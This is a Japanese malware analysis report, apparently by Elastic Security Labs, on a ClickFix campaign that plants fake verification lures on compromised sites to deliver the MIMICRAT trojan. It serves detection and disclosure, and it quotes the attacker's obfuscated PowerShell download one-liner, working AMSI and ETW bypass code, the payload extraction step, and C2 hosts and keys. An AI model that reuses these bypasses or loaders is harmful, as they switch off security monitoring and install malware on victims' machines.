はじめに
最近の調査で、Elastic Security Labs は、複数の正当な Web サイトを侵害して多段階のマルウェア チェーンを配信するアクティブな ClickFix キャンペーンを特定しました。一般的なインフォスティーラーで終了するより単純な ClickFix 展開とは異なり、このキャンペーンは、私たちがMIMICRAT と呼んでいる高性能なカスタム リモート アクセス トロイの木馬 (RAT) で終了します。これは、柔軟な C2 プロファイル、トークンの偽装、SOCKS5 トンネリング、および 22 個のコマンド ディスパッチ テーブルを備えたネイティブ C インプラントです。
このキャンペーンは、高度な運用の洗練度を示しています。複数の業界や地域にまたがる侵害されたサイトが配信インフラストラクチャとして機能し、多段階の PowerShell チェーンが ETW および AMSI バイパスを実行してから Lua スクリプトのシェルコード ローダーをドロップし、最終的なインプラントは、正規の Web 分析トラフィックに類似した HTTP プロファイルを使用してポート 443 で HTTPS 経由で通信します。
重要なポイント
- 複数の正規の Web サイトが侵害され、5 段階の攻撃チェーンが実行されました。
- Lua ローダーは埋め込まれたシェルコードを実行します。
- MIMICRATは、柔軟な C2 プロファイル、Windows トークンの盗難、SOCKS5 プロキシを備えた特注のネイティブ C++ RAT です。
ディスカバリ
Elastic Security Labs は、難読化されたコマンドライン引数を使用した疑わしい PowerShell 実行をフラグ付けするエンドポイント テレメトリを通じて、2 月初旬にこのキャンペーンを初めて特定しました 2026 。
最終的なペイロードの新規性を考慮し、完全な分析が行われている間に、より広範なセキュリティコミュニティがこの脅威の追跡と防御を開始できるように、 2026 2 月 11 日にソーシャル メディアで初期の兆候を公開しました。このキャンペーンは本稿の発行時点ではまだ有効です。
Huntress の研究者は、同様のインフラストラクチャと手法を使用した関連する ClickFix キャンペーンを記録しており、この脅威アクターが複数の同時キャンペーンにわたって活動している範囲を示しています。
キャンペーン配信
このキャンペーンの配信は、攻撃者が所有するインフラストラクチャではなく、正当で信頼できる Web サイトを侵害することに完全に依存しています。被害者のエントリーポイントはbincheck[.]ioです。正当な銀行識別番号 (BIN) 検証サービス。脅威の攻撃者はこのサイトを侵害し、2 つ目の侵害サイトである合法的なインドの投資信託プラットフォーム(Abchlor Investments Pvt. Ltd.)であるhttps://www.investonline[.]in/js/jq.phpでホストされている外部スクリプトを動的に読み込む悪意のある JavaScript スニペットを挿入しました。外部スクリプトは、jQuery ライブラリを偽装するように命名され、ページの既存のリソース ロードに溶け込みます。
ClickFix ルアーを配信するのは、リモートでロードされたこのスクリプト ( jq.php ) です。ClickFix ルアーとは、被害者に手動でコマンドを貼り付けて実行し、問題を「修正」するように指示する偽の Cloudflare 検証ページです。ルアーは悪意のある PowerShell コマンドを被害者のクリップボードに直接コピーし、実行ダイアログ ( Win+R ) または PowerShell プロンプトを開いて貼り付けるように促します。この手法では、ファイルがダウンロードされないため、ブラウザベースのダウンロード保護が完全に回避されます。
この多次元の侵害は、被害者向けの Web サイトが 2 つ目の侵害を受けた Web サイトから悪意のあるスクリプトを読み込むことに依存しており、検出リスクを分散し、ユーザーと自動化されたセキュリティ ツールの両方に対してルアーの正当性を認識しやすくします。このキャンペーンは 17 言語をサポートしており、ルアー コンテンツは被害者のブラウザの言語設定に基づいて動的にローカライズされ、効果的なリーチが拡大されます。特定された被害者は、米国の大学や、公開フォーラムのディスカッションで記録された複数の中国語圏のユーザーなど、複数の地域にまたがっており、広範囲にわたる機会主義的な標的型攻撃であったことが示唆されています。
ClickFix でサポートされている言語のリストは次のとおりです。
- 英語
- 中国語
- ロシア語
- スペイン語
- フランス語
- ドイツ語
- ポルトガル語
- 日本語
- 韓国語
- イタリア語
- トルコ語
- ポーランド語
- オランダ語
- ベトナム語
- アラビア語
- ヒンディー語
- インドネシア語
コード分析
被害者がクリップボード コマンドを実行すると、キャンペーンは 5 つの異なる段階に展開されます。難読化された PowerShell ダウンローダーが C2 に接続し、Windows イベント ログ ( ETW ) とウイルス対策スキャン ( AMSI ) にパッチを適用する第 2 段階のスクリプトを取得してから、Lua ベースのローダーをドロップします。ローダーはシェルコードを完全にメモリ内で復号して実行します。シェルコードは最終的に、永続的なアクセスと横方向の移動を目的として設計された有能な RAT であるMIMICRATを配信します。
ステージ 1 PowerShell ワンライナーコマンド
クリップボードに配信されるコマンドは、コンパクトで難読化された PowerShell ワンライナーです。
powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
このコマンドは、単一のシード文字列 ( aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf ) に対して文字列スライスと算術インデックス演算を使用して、実行時にターゲット ドメインと呼び出しメカニズムの両方を再構築し、初期ペイロード内の C2 ドメインまたは PowerShell コマンドレット名のプレーンテキスト表現を回避します。ウィンドウは最小化されています ( -WInDo Min )。抽出されたドメインはxMRi.neTwOrkで、 45.13.212.250に解決され、第 2 段階の PowerShell スクリプトがダウンロードされます。
VirusTotal 関係を介して45.13.212.250を軸にしたインフラストラクチャにより、同じ IP に解決される 2 番目のドメインWexMrI.CCが明らかになりました。どちらのドメインも、大文字と小文字が混在する形式の難読化パターンを共有しています。
ステージ 2 難読化された PowerShell スクリプト
ダウンロードされた第 2 段階の PowerShell スクリプトは、大幅に複雑になっています。すべての文字列は、実行時に算術式を ASCII 文字に解決することによって構築されます。
$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"
この手法により、スクリプトは実行時に完全に機能したまま、静的分析やシグネチャベースの検出に対して不透明になります。ダミークラス宣言がデコイとして含まれており、
スクリプトは次の 4 つの操作を連続して実行します。
ETWバイパス
スクリプトは、リフレクションを介してSystem.Diagnostics.Eventing.EventProviderクラスの内部m_enabledフィールドにアクセスし、その値を0にパッチして、Windows イベント トレーシングを無効にし、PowerShell スクリプト ブロックのログ記録を無効にします。
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
AMSI バイパス
次に、スクリプトはリフレクションを使用してSystem.Management.Automation.AmsiUtilsにアクセスし、 amsiInitFailedフィールドを$trueに設定して、PowerShell がセッションの残りの部分ですべての AMSI コンテンツ スキャンをスキップするようにします。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI - メモリパッチ
スクリプトは、追加の、あまり一般的ではない防御回避手順で、 Marshal.Copyを介してランタイム メソッド ハンドルのパッチ適用を実行し、メモリ内のメソッド ポインターを上書きして、監視対象のコード パスから実行をリダイレクトします。これは、 System.Management.Automation.AmsiUtilsの下の関数ScanContentを空の generate メソッドにターゲットします。
$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"
[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)
ペイロード配信
イベント ログと AV スキャンが無効になっている場合、スクリプトは base64 でエンコードされた ZIP アーカイブをデコードし、それを%ProgramData% / knz_{random}の下のランダムに名前が付けられたディレクトリに抽出し、含まれるバイナリzbuild.exeを実行します。一時的なアーティファクトは実行後にクリーンアップされます。
$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
ステージ 3 Lua ローダー
ドロップされたバイナリはカスタム Lua 5.4.7 ローダーです。Lua インタープリタを静的に埋め込みます。
バイナリは実行時に XOR スタブを使用して埋め込まれた Lua スクリプトを復号化し、それを実行します。XOR 復号ルーチン ( fxh::utility::lua_script_xor_decrypt ) は、暗号化されたバッファを反復処理し、各バイトをキーに対して XOR します。
Lua スクリプトは、埋め込まれたシェルコードをデコードするために、非標準のアルファベットを使用したカスタム Base64 デコーダーを実装します。デコードされたシェルコードは、 luaallocを介して実行可能メモリに割り当てられ、 luacpyによってそのメモリにコピーされ、最後にluaexeを介して実行され、完全にメモリ内でのファイルレスのシェルコード実行が実現されます。
ステージ 4 シェルコード
シェルコードは Meterpreter 関連のシグネチャと一致しており、シェルコード ステージは、 MIMICRAT をメモリに反射的にロードするための Meterpreter コード ファミリと一致するローダーであることが示唆されています。
ステージ 5 ミミクラット
コンパイル メタデータが2026 年 1 月 29 に設定された最終ペイロードは、Microsoft Visual Studio リンカー バージョン 14.44 でコンパイルされたネイティブ MSVC x64 PE です。これは、既知のオープンソース C2 フレームワークと完全には一致せず、ASCII 文字ベースのコマンドディスパッチとカスタムアーキテクチャを備えた独自の柔軟な HTTP C2 プロファイルを実装しています。
C2構成と通信
MIMICRATの設定は.dataセクションに保存されます。暗号化キー、接続パラメータ、および 2 つの完全な HTTP 通信プロファイルが含まれています。すべてのヘッダー文字列と URI は 16 進エンコードされた ASCII であり、実行時にデコードされます。
C2 は、10 秒のコールバック間隔でポート 443 上の HTTPS 経由で動作します。C2 サーバーのホスト名 ( d15mawx0xveem1.cloudfront.net ) は、次の RC4 キー@z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5を使用して RC4 暗号化されています。
インプラントは階層化暗号化方式による通信に HTTPS を使用します。埋め込まれた RSA-1024 公開キーが非対称セッション キーの交換を処理します。
AES は C2 トラフィックの対称暗号化に使用されますが、ハードコードされた IV abcdefghijklmnopと、ランダムに生成された英数字の値の SHA-256 ハッシュ値から導出された実行時計算キーを使用します (例: 9ZQs0p0gfpOj3Y02.
以下は、サンプルの POST および GET リクエストで使用されるプロファイルです。
HTTP GET プロファイル: チェックインとタスク
| コンポーネント | 値 |
|---|---|
| URI | /intake/organizations/events?channel=app |
| ユーザーエージェント | Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045 |
| リファラー | [https://www.google.com/?q=dj1](https://www.google.com/?q=dj1) |
| 受け入れ言語 | zh-CN,zh;q=0.9 |
| Cookie | AFUAK、 BLA 、 HFK |
HTTP POST プロファイル: データ漏洩
| コンポーネント | 値 |
|---|---|
| URI | /discover/pcversion/metrics?clientver=ds |
| リファラー | [https://gsov.google.com/](https://gsov.google.com/) |
| Cookie | ARCHUID、 BRCHD 、 ZRCHUSR |
コマンドディスパッチ
MIMICRAT は、プロセスとファイル システムの制御、対話型シェル アクセス、トークン操作、シェルコード インジェクション、SOCKS プロキシ トンネリングなどのエクスプロイト後の機能を提供するために、合計 22 の異なるコマンドを実装します。ビーコン間隔とジッターは、専用コマンドを使用して実行時にオペレータが設定できます。以下は実装されているすべてのコマンドをまとめた表です。
| コマンドID | 関数 | 説明 |
|---|---|---|
| 3 | 出口 | インプラントのプロセスを終了する |
| 4 | ビーコン間隔を設定する | スリープ期間とジッターを設定する |
| 5 | ディレクトリを変更する | 現在の作業ディレクトリを変更する |
| 10 | ファイルを書き込む | C2から提供されたペイロードをディスクに書き込む(上書き) |
| 11 | ファイルを読む | ディスクからファイルを読み取り、その内容をC2に流出させる |
| 12 | 産卵プロセス | 盗んだトークンが利用可能な場合はそれを使用してプロセスを起動し、標準実行にフォールバックします。 |
| 28 | なりすましを元に戻す | トークンの偽装を元に戻し、トークンの状態をクリアします |
| 31 | トークンを盗む | 対象プロセスのセキュリティトークンをPIDで複製します |
| 32 | プロセスを一覧表示する | 実行中のプロセスをPID、PPID、ユーザー、ドメイン、アーキテクチャで列挙します |
| 33 | キルプロセス | PIDでプロセスを終了 |
| 39 | 現在のディレクトリを取得する | 現在の作業ディレクトリをC2に返します |
| 53 | ファイルの一覧 | タイムスタンプとサイズ付きのファイルとディレクトリを一覧表示します |
| 54 | ディレクトリを作成 | ディスク上にディレクトリを作成する |
| 55 | ドライブの一覧 | 論理ドライブを列挙する |
| 56 | ファイル/ディレクトリを削除する | ファイルまたはディレクトリを削除します |
| 67 | ファイルに追加 | C2 から提供されたデータを既存のファイルに追加します |
| 73 | ファイルをコピー | ソースから宛先にファイルをコピーします |
| 74 | ファイルの移動/名前変更 | ファイルを移動または名前変更する |
| 78 | インタラクティブシェル | パイプを介して永続的な対話型CMDシェルを開きます |
| 100 | シェルコードを挿入する | 反射型シェルコードインジェクション |
| 101 | ソックス | SOCKSプロキシチャネルを設定または停止する |
| 102 | SOCKSプロキシ | コマンド101とハンドラーを共有します。おそらくプレースホルダーコマンドです。 |
インフラストラクチャー
キャンペーンのネットワーク インフラストラクチャは、主に次の 2 つのグループに分かれています。
クラスターA — 初期ペイロード配信( 45.13.212.251 / 45.13.212.250 )
xMRi.neTwOrkやWexMrI.CCなど複数のドメインがこの IP 範囲を指しています。ドメイン名の命名では大文字と小文字が混在した難読化が使用されます。このインフラストラクチャは、第 2 段階の PowerShell スクリプトと埋め込まれたペイロード ZIP を提供します。
クラスターB エクスプロイト後 C2 ( 23.227.202.114 )
www.ndibstersoft[.]comに関連付けられており、ドロップされたファイルからのビーコン通信で観察されます。これは、オペレーターのエクスプロイト後の C2 チャネルを表します。
CloudFront C2 リレー
d15mawx0xveem1.cloudfront[.]net MIMICRATの C2 インフラストラクチャの一部であることが確認されました。rgen.zipサンプルの VT 関係は、 MIMICRATの GET プロファイルで識別された同じ/intake/organizations/events?channel=app URI パターンを使用してこの CloudFront ドメインに接続していることを示しており、バックエンド サーバーの C2 リレー フロントとして機能していることが確認されます。
配信インフラストラクチャ
侵害された 2 つの正規の Web サイトが配信チェーンを形成します。
bincheck.io— 被害者向けのエントリポイント。外部の悪意のあるスクリプトをロードするために侵害されるinvestonline.in— jQueryを装ったClickFix JavaScriptペイロード(/js/jq.php)をホストします。このスクリプトはルアーをレンダリングし、クリップボードのPowerShellを配信します。
マルウェアとMITRE ATT&CK**
Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。
戦術(Tactics)
戦術は、テクニックまたはサブテクニックの理由を表します。 それは敵の戦術的な目標であり、行動を実行する理由です。
手法
手法は、敵対者がアクションを実行することによって戦術的な目標を達成する方法を表します。
- フィッシング:サービス経由のスピアフィッシング(ClickFix クリップボード)
- ユーザー実行:悪意のあるリンク
- コマンドとスクリプト インタープリター: PowerShell
- 難読化されたファイルまたは情報: コマンドの難読化
- 防御を弱める: ツールを無効化または変更する (AMSI バイパス)
- 防御を弱める: Windows イベント ログを無効にする (ETW パッチ)
- リフレクティブコードロード/インメモリ実行
- スケジュールされたタスク/ジョブ
- アクセストークンの操作:トークンの偽装/盗難
- プロセスインジェクション
- プロセスディスカバリー
- ファイルとディレクトリの検出
- C2チャネルを介した流出
- アプリケーション層プロトコル: Web プロトコル (HTTPS)
- プロキシ
対策
検知
この侵入セットの分析では、次の検出ルールと動作防止イベントが観察されました。
- 難読化された PowerShell スクリプトによる実行
- 疑わしいトップレベルドメインへのDNSクエリ
- Windows Run による疑わしいコマンド シェルの実行
- トークンの盗難となりすまし
- トークンのなりすましを使った権限昇格の可能性
- Low Reputation Moduleからのシェルコード実行
ヤラ
Elastic Security はこのアクティビティを識別するための YARA ルールを作成しました。以下は、MimicRat を識別するための YARA ルールです。
rule Windows_Trojan_MimicRat {
meta:
author = "Elastic Security"
creation_date = "2026-02-13"
last_modified = "2026-02-13"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "MimicRat"
threat_name = "Windows.Trojan.MimicRat"
reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
scan_type = "File, Memory"
severity = 100
strings:
$b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
$b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
condition:
all of them
}
観測
すべてのオブザーバブルは、ECS形式とSTIX形式の両方で、結合されたzipバンドルで ダウンロード することもできます。
この研究では、次の観測量について議論しました。
| すぐれた監視性 | タイプ | 名前 | 参考 |
|---|---|---|---|
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1 | SHA-256の | ステージ 1 PowerShell ペイロード | |
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51 | SHA-256の | Luaローダー | |
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b | SHA-256の | MIMICRATビーコン | |
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb | SHA-256の | 関連ビーコンサンプル | |
45.13.212.251 | IP | ペイロード配信インフラストラクチャ | |
45.13.212.250 | IP | ペイロード配信インフラストラクチャ | |
23.227.202.114 | IP | エクスプロイト後のC2 | |
xmri.network | ドメイン | ステージ 1 C2 / ペイロード配信 | |
wexmri.cc | ドメイン | ステージ 1 C2代替 | |
www.ndibstersoft[.]com | ドメイン | エクスプロイト後のC2 | |
d15mawx0xveem1.cloudfront[.]net | ドメイン | エクスプロイト後のC2 | |
www.investonline.in/js/jq.php | URL | 悪意のある JS ペイロード ホスト (侵害) | |
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip | URL | ペイロードの配信 |
